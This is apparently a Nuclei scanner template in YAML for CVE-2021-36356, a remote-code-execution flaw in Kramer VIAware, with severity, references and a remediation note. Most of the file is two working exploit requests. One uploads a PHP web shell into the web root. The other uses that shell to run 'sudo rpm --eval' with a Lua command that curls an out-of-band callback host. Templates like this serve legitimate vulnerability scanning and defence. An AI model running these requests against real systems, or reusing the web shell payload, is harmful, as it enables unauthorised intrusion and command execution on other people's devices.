54 lines
1.9 KiB
YAML
54 lines
1.9 KiB
YAML
id: CVE-2021-36356
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info:
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name: Kramer VIAware - Remote Code Execution
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author: gy741
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severity: critical
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description: KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames.
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remediation: |
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Apply the latest firmware update provided by Kramer to fix the vulnerability and ensure proper input validation in the web interface.
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reference:
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- https://www.exploit-db.com/exploits/50856
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- https://nvd.nist.gov/vuln/detail/CVE-2021-36356
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- https://nvd.nist.gov/vuln/detail/CVE-2021-35064
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- https://write-up.github.io/kramerav/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-36356
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cwe-id: CWE-434
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epss-score: 0.84045
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epss-percentile: 0.98103
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cpe: cpe:2.3:a:kramerav:viaware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: kramerav
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product: viaware
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tags: viaware,cve,cve2021,kramer,edb,rce,intrusive
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variables:
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useragent: "{{rand_base(6)}}"
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http:
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- raw:
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- |
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POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php
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- |
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GET /{{randstr}}.php?cmd=sudo+rpm+--eval+'%25{lua%3aos.execute("curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'")}' HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- http
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: {{useragent}}"
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